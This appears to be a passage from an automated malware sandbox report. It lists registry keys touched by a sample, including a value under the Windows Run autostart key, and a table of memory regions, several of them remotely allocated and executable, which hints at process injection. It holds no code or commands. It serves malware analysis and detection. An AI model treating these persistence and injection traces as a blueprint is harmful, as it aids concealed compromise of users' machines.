HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
|
4
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4
|
0
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4
|
MRUListEx
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0
|
NodeSlot
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0
|
MRUListEx
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell
|
KnownFolderDerivedFolderType
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell
|
SniffedFolderType
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:000000000001043E
|
VirtualDesktop
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
|
@C:\Program Files\Common Files\System\wab32res.dll,-70
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
|
@C:\Program Files\Common Files\System\wab32res.dll,-71
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
|
@C:\Program Files\Common Files\System\wab32res.dll,-72
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
|
@C:\Program Files\Common Files\System\wab32res.dll,-73
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
|
@C:\Program Files\Common Files\System\wab32res.dll,-78
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
|
@C:\Program Files\Common Files\System\wab32res.dll,-79
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
|
@C:\Program Files\Common Files\System\wab32res.dll,-80
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
|
@C:\Program Files\Common Files\System\wab32res.dll,-81
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
Classes
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew
|
~reserved~
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
HRZR_PGYFRFFVBA
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
HRZR_PGYFRFFVBA
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
|
MRUListEx
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
|
NodeSlots
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\jvaqbjf znvy\jno.rkr
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Security and Maintenance\Checks\{E8433B72-5842-4d43-8645-BC2C35960837}.check.102
|
CheckSetting
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
KFRL5VBPUBT
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
LangID
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\Explorer.exe.FriendlyAppName
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\Explorer.exe.ApplicationCompany
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
Zvpebfbsg.Jvaqbjf.Rkcybere
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
HRZR_PGYFRFFVBA
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
Zvpebfbsg.Jvaqbjf.Rkcybere
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
|
HRZR_PGYFRFFVBA
|
There are 63 hidden registries, click here to show them.
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
690000
|
unclassified section
|
page execute and read and write
|
|
|
|
86A0000
|
direct allocation
|
page execute and read and write
|
|
|
|
1D0000
|
system
|
page execute and read and write
|
|
|
|
6D0000
|
unclassified section
|
page execute and read and write
|
|
|
|
700000
|
trusted library allocation
|
page read and write
|
|
|
|
5A41000
|
trusted library allocation
|
page read and write
|
|
|
|
1A8D5541000
|
trusted library allocation
|
page read and write
|
|
|
|
6340000
|
remote allocation
|
page execute and read and write
|
|
|
|
6C0000
|
unclassified section
|
page execute and read and write
|
|
|
|
C1B0000
|
direct allocation
|
page execute and read and write
|
|
|
|
2B20000
|
heap
|
page read and write
|
||
|
5A77C8E000
|
stack
|
page read and write
|
||
|
7173000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
9F0E000
|
stack
|
page read and write
|
||
|
22091000
|
heap
|
page read and write
|
||
|
B32B000
|
system
|
page execute and read and write
|
||
|
9086000
|
unkown
|
page read and write
|
||
|
1020000
|
heap
|
page read and write
|
||
|
4810000
|
unkown
|
page read and write
|
||
|
2047737F000
|
heap
|
page read and write
|
||
|
4410000
|
direct allocation
|
page execute and read and write
|
||
|
7A60000
|
unkown
|
page readonly
|
||
|
716E000
|
unkown
|
page read and write
|
||
|
47DB000
|
unkown
|
page read and write
|
||
|
C10B000
|
unkown
|
page read and write
|
||
|
2047721D000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF557642000
|
unkown
|
page readonly
|
||
|
C595000
|
unkown
|
page read and write
|
||
|
7FF556E9A000
|
unkown
|
page readonly
|
||
|
45D5000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFB1E3A0000
|
unkown
|
page readonly
|
||
|
20476C3F000
|
heap
|
page read and write
|
||
|
8810000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF5575BB000
|
unkown
|
page readonly
|
||
|
2047732D000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
32C4000
|
unkown
|
page read and write
|
||
|
6E8D000
|
stack
|
page read and write
|
||
|
7FF556FD2000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
1A8C51C0000
|
trusted library allocation
|
page read and write
|
||
|
20477121000
|
heap
|
page read and write
|
||
|
22341000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF5575C5000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
90C9000
|
unkown
|
page read and write
|
||
|
20477160000
|
heap
|
page read and write
|
||
|
4ED8000
|
trusted library allocation
|
page read and write
|
||
|
46E0000
|
unkown
|
page read and write
|
||
|
98D5000
|
stack
|
page read and write
|
||
|
7FF556F87000
|
unkown
|
page readonly
|
||
|
90CF000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF55738F000
|
unkown
|
page readonly
|
||
|
810000
|
heap
|
page read and write
|
||
|
A304AFB000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF557210000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF5575E3000
|
unkown
|
page readonly
|
||
|
20476FF1000
|
heap
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
900000
|
unkown
|
page readonly
|
||
|
2047713A000
|
heap
|
page read and write
|
||
|
71F2000
|
heap
|
page read and write
|
||
|
7FFAAB880000
|
trusted library allocation
|
page read and write
|
||
|
7FF55733B000
|
unkown
|
page readonly
|
||
|
7FF55751D000
|
unkown
|
page readonly
|
||
|
204770FC000
|
heap
|
page read and write
|
||
|
C80000
|
system
|
page execute and read and write
|
||
|
204772F0000
|
heap
|
page read and write
|
||
|
1A8C5170000
|
heap
|
page readonly
|
||
|
8070000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
32E6000
|
unkown
|
page read and write
|
||
|
7FF556E98000
|
unkown
|
page readonly
|
||
|
88B0000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7690000
|
trusted library allocation
|
page read and write
|
||
|
7FF5573D8000
|
unkown
|
page readonly
|
||
|
60A000
|
heap
|
page read and write
|
||
|
5EC000
|
heap
|
page read and write
|
||
|
4880000
|
unkown
|
page read and write
|
||
|
864F000
|
stack
|
page read and write
|
||
|
73C9000
|
heap
|
page read and write
|
||
|
7FF5572C9000
|
unkown
|
page readonly
|
||
|
7FF5570C5000
|
unkown
|
page readonly
|
||
|
20475146000
|
heap
|
page read and write
|
||
|
7FF556E43000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C091000
|
unkown
|
page read and write
|
||
|
71FC000
|
unkown
|
page read and write
|
||
|
204771D0000
|
heap
|
page read and write
|
||
|
7FF557393000
|
unkown
|
page readonly
|
||
|
7DF468970000
|
unkown
|
page readonly
|
||
|
A8BD000
|
unkown
|
page read and write
|
||
|
4EB1000
|
trusted library allocation
|
page read and write
|
||
|
204770BC000
|
heap
|
page read and write
|
||
|
20477134000
|
heap
|
page read and write
|
||
|
4310000
|
heap
|
page read and write
|
||
|
3000000
|
remote allocation
|
page execute and read and write
|
||
|
81ED000
|
trusted library allocation
|
page read and write
|
||
|
7FE000
|
stack
|
page read and write
|
||
|
9260000
|
unkown
|
page execute and read and write
|
||
|
20477205000
|
heap
|
page read and write
|
||
|
500D000
|
trusted library allocation
|
page read and write
|
||
|
7DF468970000
|
unkown
|
page readonly
|
||
|
C0F3000
|
unkown
|
page read and write
|
||
|
C091000
|
unkown
|
page read and write
|
||
|
1A8C72E3000
|
trusted library allocation
|
page read and write
|
||
|
204770F1000
|
heap
|
page read and write
|
||
|
473E000
|
stack
|
page read and write
|
||
|
7162000
|
unkown
|
page read and write
|
||
|
91D9000
|
stack
|
page read and write
|
||
|
7D8E000
|
stack
|
page read and write
|
||
|
5940000
|
remote allocation
|
page execute and read and write
|
||
|
8D74000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
5A772BB000
|
stack
|
page read and write
|
||
|
2047715A000
|
heap
|
page read and write
|
||
|
A0DA000
|
unkown
|
page read and write
|
||
|
7FF557467000
|
unkown
|
page readonly
|
||
|
20477002000
|
heap
|
page read and write
|
||
|
7FF5572C9000
|
unkown
|
page readonly
|
||
|
DA2000
|
heap
|
page read and write
|
||
|
2047727D000
|
heap
|
page read and write
|
||
|
7FF557382000
|
unkown
|
page readonly
|
||
|
20476C5C000
|
heap
|
page read and write
|
||
|
7FF556FFF000
|
unkown
|
page readonly
|
||
|
204770A9000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF557617000
|
unkown
|
page readonly
|
||
|
3470000
|
unkown
|
page read and write
|
||
|
20477131000
|
heap
|
page read and write
|
||
|
C586000
|
unkown
|
page read and write
|
||
|
5F0000
|
heap
|
page read and write
|
||
|
7A60000
|
unkown
|
page readonly
|
||
|
7FF557285000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
8660000
|
trusted library allocation
|
page read and write
|
||
|
1A8C599C000
|
trusted library allocation
|
page read and write
|
||
|
10A19000
|
system
|
page read and write
|
||
|
7DF468990000
|
unkown
|
page readonly
|
||
|
21E2E000
|
stack
|
page read and write
|
||
|
617000
|
heap
|
page read and write
|
||
|
2047727D000
|
heap
|
page read and write
|
||
|
B1A0000
|
unkown
|
page read and write
|
||
|
46F6000
|
unkown
|
page read and write
|
||
|
20477108000
|
heap
|
page read and write
|
||
|
7FF55703F000
|
unkown
|
page readonly
|
||
|
7FF55714A000
|
unkown
|
page readonly
|
||
|
7FF55707D000
|
unkown
|
page readonly
|
||
|
F0BD000
|
stack
|
page read and write
|
||
|
4979000
|
unclassified section
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
F1A0000
|
heap
|
page read and write
|
||
|
7DF468990000
|
unkown
|
page readonly
|
||
|
8EB8000
|
unkown
|
page read and write
|
||
|
7FF557522000
|
unkown
|
page readonly
|
||
|
716B000
|
unkown
|
page read and write
|
||
|
7169000
|
unkown
|
page read and write
|
||
|
7FF55725B000
|
unkown
|
page readonly
|
||
|
20477300000
|
heap
|
page read and write
|
||
|
2DE0000
|
heap
|
page read and write
|
||
|
204770B9000
|
heap
|
page read and write
|
||
|
C24F000
|
unkown
|
page read and write
|
||
|
8ECE000
|
unkown
|
page read and write
|
||
|
7FF557045000
|
unkown
|
page readonly
|
||
|
B628000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
10A5000
|
heap
|
page read and write
|
||
|
7C00000
|
unkown
|
page readonly
|
||
|
7FF5573FF000
|
unkown
|
page readonly
|
||
|
116D3000
|
unkown
|
page read and write
|
||
|
20477154000
|
heap
|
page read and write
|
||
|
557F000
|
stack
|
page read and write
|
||
|
A22F000
|
unkown
|
page read and write
|
||
|
2E86000
|
stack
|
page read and write
|
||
|
7FF55752A000
|
unkown
|
page readonly
|
||
|
B80000
|
direct allocation
|
page read and write
|
||
|
7FF556F90000
|
unkown
|
page readonly
|
||
|
8D68000
|
unkown
|
page read and write
|
||
|
4860000
|
unkown
|
page read and write
|
||
|
C656000
|
unkown
|
page read and write
|
||
|
88E2000
|
unkown
|
page read and write
|
||
|
7FF557099000
|
unkown
|
page readonly
|
||
|
E60000
|
unkown
|
page readonly
|
||
|
B070000
|
unkown
|
page read and write
|
||
|
7FF557062000
|
unkown
|
page readonly
|
||
|
ADAF000
|
stack
|
page read and write
|
||
|
7FF5573A9000
|
unkown
|
page readonly
|
||
|
7FF556FFB000
|
unkown
|
page readonly
|
||
|
7FF556E9A000
|
unkown
|
page readonly
|
||
|
A22F000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
5670000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7E05000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF556F2A000
|
unkown
|
page readonly
|
||
|
7322000
|
heap
|
page read and write
|
||
|
BC00000
|
unkown
|
page readonly
|
||
|
8D72000
|
unkown
|
page read and write
|
||
|
7FF557302000
|
unkown
|
page readonly
|
||
|
715C000
|
unkown
|
page read and write
|
||
|
2047714C000
|
heap
|
page read and write
|
||
|
7FF55764C000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
B010000
|
unkown
|
page readonly
|
||
|
4752000
|
direct allocation
|
page execute and read and write
|
||
|
2047517F000
|
heap
|
page read and write
|
||
|
6D80000
|
direct allocation
|
page read and write
|
||
|
2047516F000
|
heap
|
page read and write
|
||
|
51E3000
|
unkown
|
page read and write
|
||
|
FD0000
|
unkown
|
page readonly
|
||
|
73F0000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
6C7E000
|
stack
|
page read and write
|
||
|
9BF000
|
stack
|
page read and write
|
||
|
8C59000
|
stack
|
page read and write
|
||
|
75B0000
|
trusted library allocation
|
page read and write
|
||
|
32E3000
|
unkown
|
page read and write
|
||
|
7FF557210000
|
unkown
|
page readonly
|
||
|
9050000
|
unkown
|
page read and write
|
||
|
7FF55750F000
|
unkown
|
page readonly
|
||
|
47EC000
|
trusted library allocation
|
page read and write
|
||
|
1060000
|
unkown
|
page read and write
|
||
|
7FF5573D5000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
A28D000
|
unkown
|
page read and write
|
||
|
7FF5570CF000
|
unkown
|
page readonly
|
||
|
45C0000
|
trusted library allocation
|
page read and write
|
||
|
7FF55710F000
|
unkown
|
page readonly
|
||
|
71FC000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
33E0000
|
heap
|
page read and write
|
||
|
7FF5569F1000
|
unkown
|
page readonly
|
||
|
77D0000
|
unkown
|
page read and write
|
||
|
2047703E000
|
heap
|
page read and write
|
||
|
20477704000
|
heap
|
page read and write
|
||
|
C12D000
|
unkown
|
page read and write
|
||
|
7598000
|
trusted library allocation
|
page read and write
|
||
|
718E000
|
stack
|
page read and write
|
||
|
20477149000
|
heap
|
page read and write
|
||
|
4800000
|
unkown
|
page read and write
|
||
|
6F0D000
|
stack
|
page read and write
|
||
|
1A8C3860000
|
heap
|
page read and write
|
||
|
8F27000
|
unkown
|
page read and write
|
||
|
3460000
|
unkown
|
page read and write
|
||
|
73D0000
|
unkown
|
page read and write
|
||
|
7FF557062000
|
unkown
|
page readonly
|
||
|
549000
|
heap
|
page read and write
|
||
|
20477220000
|
heap
|
page read and write
|
||
|
22248000
|
heap
|
page read and write
|
||
|
7FF5571DC000
|
unkown
|
page readonly
|
||
|
1A8C3B55000
|
heap
|
page read and write
|
||
|
428ED7D000
|
stack
|
page read and write
|
||
|
20477036000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
BF3F000
|
stack
|
page read and write
|
||
|
7FF5573FF000
|
unkown
|
page readonly
|
||
|
20477007000
|
heap
|
page read and write
|
||
|
10B0000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
204771FD000
|
heap
|
page read and write
|
||
|
7FF5575E0000
|
unkown
|
page readonly
|
||
|
7FF557583000
|
unkown
|
page readonly
|
||
|
A225000
|
unkown
|
page read and write
|
||
|
AC4A000
|
unkown
|
page read and write
|
||
|
4734000
|
unkown
|
page read and write
|
||
|
BBD0000
|
unkown
|
page readonly
|
||
|
80B0000
|
trusted library allocation
|
page read and write
|
||
|
1A8C5460000
|
heap
|
page execute and read and write
|
||
|
485A000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FFAAB8B0000
|
trusted library allocation
|
page read and write
|
||
|
7FFAAB8F0000
|
trusted library allocation
|
page read and write
|
||
|
904C000
|
unkown
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
7140000
|
unkown
|
page read and write
|
||
|
754E000
|
stack
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
717A000
|
unkown
|
page read and write
|
||
|
8B53000
|
unkown
|
page read and write
|
||
|
7300000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C631000
|
unkown
|
page read and write
|
||
|
5540000
|
trusted library allocation
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
A215000
|
unkown
|
page read and write
|
||
|
7FFAAB842000
|
trusted library allocation
|
page read and write
|
||
|
7FF557387000
|
unkown
|
page readonly
|
||
|
7BE000
|
stack
|
page read and write
|
||
|
7B98000
|
stack
|
page read and write
|
||
|
7FFAAB670000
|
trusted library allocation
|
page read and write
|
||
|
7FF557250000
|
unkown
|
page readonly
|
||
|
DA8000
|
heap
|
page read and write
|
||
|
7FF5575BB000
|
unkown
|
page readonly
|
||
|
7E03000
|
stack
|
page read and write
|
||
|
7FF557382000
|
unkown
|
page readonly
|
||
|
7FFAAB81A000
|
trusted library allocation
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
97E1000
|
unkown
|
page read and write
|
||
|
7DF468971000
|
unkown
|
page execute read
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
A0BF000
|
unkown
|
page read and write
|
||
|
7FF556A1B000
|
unkown
|
page readonly
|
||
|
20477120000
|
heap
|
page read and write
|
||
|
DDE000
|
heap
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
A131000
|
unkown
|
page read and write
|
||
|
B319000
|
system
|
page execute and read and write
|
||
|
E32F000
|
stack
|
page read and write
|
||
|
204770FD000
|
heap
|
page read and write
|
||
|
204771ED000
|
heap
|
page read and write
|
||
|
D90000
|
heap
|
page read and write
|
||
|
7FFAAB890000
|
trusted library allocation
|
page read and write
|
||
|
51E3000
|
unkown
|
page read and write
|
||
|
A154000
|
unkown
|
page read and write
|
||
|
47C6000
|
unkown
|
page read and write
|
||
|
7FF55724C000
|
unkown
|
page readonly
|
||
|
505A000
|
trusted library allocation
|
page read and write
|
||
|
A8DC000
|
unkown
|
page read and write
|
||
|
4590000
|
trusted library allocation
|
page read and write
|
||
|
75F0000
|
trusted library allocation
|
page read and write
|
||
|
C214000
|
unkown
|
page read and write
|
||
|
20477057000
|
heap
|
page read and write
|
||
|
7FF557280000
|
unkown
|
page readonly
|
||
|
C697000
|
unkown
|
page read and write
|
||
|
C3AE000
|
unkown
|
page read and write
|
||
|
20477175000
|
heap
|
page read and write
|
||
|
7FF556F26000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
204771B9000
|
heap
|
page read and write
|
||
|
7324000
|
heap
|
page read and write
|
||
|
4785000
|
unkown
|
page read and write
|
||
|
A873000
|
unkown
|
page read and write
|
||
|
A156000
|
unkown
|
page read and write
|
||
|
2047701E000
|
heap
|
page read and write
|
||
|
BBE0000
|
unkown
|
page readonly
|
||
|
20477002000
|
heap
|
page read and write
|
||
|
7FF5573C1000
|
unkown
|
page readonly
|
||
|
7FFAAB980000
|
trusted library allocation
|
page read and write
|
||
|
204770DD000
|
heap
|
page read and write
|
||
|
38D000
|
stack
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
88E5000
|
unkown
|
page read and write
|
||
|
7C70000
|
unkown
|
page readonly
|
||
|
7FF557106000
|
unkown
|
page readonly
|
||
|
7FF55720D000
|
unkown
|
page readonly
|
||
|
7FF5574BD000
|
unkown
|
page readonly
|
||
|
F49000
|
stack
|
page read and write
|
||
|
50B0000
|
unkown
|
page write copy
|
||
|
7A80000
|
unkown
|
page readonly
|
||
|
20477724000
|
heap
|
page read and write
|
||
|
910000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF55703C000
|
unkown
|
page readonly
|
||
|
204770C9000
|
heap
|
page read and write
|
||
|
A0FC000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
90F2000
|
unkown
|
page read and write
|
||
|
7FF556FF3000
|
unkown
|
page readonly
|
||
|
B82A000
|
stack
|
page read and write
|
||
|
32F3000
|
unkown
|
page read and write
|
||
|
32DB000
|
unkown
|
page read and write
|
||
|
7FF55714A000
|
unkown
|
page readonly
|
||
|
79A0000
|
unkown
|
page read and write
|
||
|
C101000
|
unkown
|
page read and write
|
||
|
139056D0000
|
heap
|
page read and write
|
||
|
811D000
|
stack
|
page read and write
|
||
|
20476B20000
|
remote allocation
|
page read and write
|
||
|
A3049FC000
|
stack
|
page read and write
|
||
|
A154000
|
unkown
|
page read and write
|
||
|
A810000
|
unkown
|
page read and write
|
||
|
20477326000
|
heap
|
page read and write
|
||
|
2047711F000
|
heap
|
page read and write
|
||
|
7FF55733F000
|
unkown
|
page readonly
|
||
|
45AE000
|
direct allocation
|
page execute and read and write
|
||
|
7A50000
|
unkown
|
page readonly
|
||
|
9359000
|
unkown
|
page execute and read and write
|
||
|
2B70000
|
heap
|
page read and write
|
||
|
7FF556C0F000
|
unkown
|
page readonly
|
||
|
7FF55708D000
|
unkown
|
page readonly
|
||
|
7FF556E66000
|
unkown
|
page readonly
|
||
|
139054D1000
|
system
|
page execute and read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20477063000
|
heap
|
page read and write
|
||
|
7E10000
|
unkown
|
page read and write
|
||
|
2047730A000
|
heap
|
page read and write
|
||
|
7FF557467000
|
unkown
|
page readonly
|
||
|
3249000
|
unkown
|
page read and write
|
||
|
83CC000
|
stack
|
page read and write
|
||
|
2047774A000
|
heap
|
page read and write
|
||
|
1A8C5C1B000
|
trusted library allocation
|
page read and write
|
||
|
847000
|
heap
|
page read and write
|
||
|
20476B61000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
5A7723E000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
528000
|
heap
|
page read and write
|
||
|
7600000
|
trusted library allocation
|
page read and write
|
||
|
7FF557549000
|
unkown
|
page readonly
|
||
|
204776E7000
|
heap
|
page read and write
|
||
|
7A4B000
|
stack
|
page read and write
|
||
|
770000
|
heap
|
page read and write
|
||
|
B00000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
46F0000
|
unkown
|
page read and write
|
||
|
EED000
|
stack
|
page read and write
|
||
|
7FF5570CA000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
440000
|
heap
|
page read and write
|
||
|
8ECE000
|
unkown
|
page read and write
|
||
|
2047706C000
|
heap
|
page read and write
|
||
|
9B3F000
|
system
|
page execute and read and write
|
||
|
7FF556FEE000
|
unkown
|
page readonly
|
||
|
7FF5573BB000
|
unkown
|
page readonly
|
||
|
7FF5575AB000
|
unkown
|
page readonly
|
||
|
7FF557250000
|
unkown
|
page readonly
|
||
|
C3A8000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C04F000
|
unkown
|
page read and write
|
||
|
8D86000
|
unkown
|
page read and write
|
||
|
2208F000
|
stack
|
page read and write
|
||
|
8ED5000
|
unkown
|
page read and write
|
||
|
1060000
|
unkown
|
page read and write
|
||
|
2F61000
|
unkown
|
page read and write
|
||
|
204771D1000
|
heap
|
page read and write
|
||
|
7FF55715D000
|
unkown
|
page readonly
|
||
|
7FF5569F1000
|
unkown
|
page readonly
|
||
|
D9B000
|
heap
|
page read and write
|
||
|
7FF5573ED000
|
unkown
|
page readonly
|
||
|
2F90000
|
unkown
|
page readonly
|
||
|
20477189000
|
heap
|
page read and write
|
||
|
9849000
|
unkown
|
page read and write
|
||
|
7FF557009000
|
unkown
|
page readonly
|
||
|
758D000
|
stack
|
page read and write
|
||
|
744E000
|
stack
|
page read and write
|
||
|
4785000
|
unkown
|
page read and write
|
||
|
2E00000
|
heap
|
page read and write
|
||
|
20475184000
|
heap
|
page read and write
|
||
|
7FF557042000
|
unkown
|
page readonly
|
||
|
7FF5575D5000
|
unkown
|
page readonly
|
||
|
7FF5571B3000
|
unkown
|
page readonly
|
||
|
7FF55761F000
|
unkown
|
page readonly
|
||
|
7FF5570A6000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
2047705F000
|
heap
|
page read and write
|
||
|
7FF5574F1000
|
unkown
|
page readonly
|
||
|
5161000
|
unkown
|
page read and write
|
||
|
C212000
|
unkown
|
page read and write
|
||
|
1020000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
204770CC000
|
heap
|
page read and write
|
||
|
5A767D3000
|
stack
|
page read and write
|
||
|
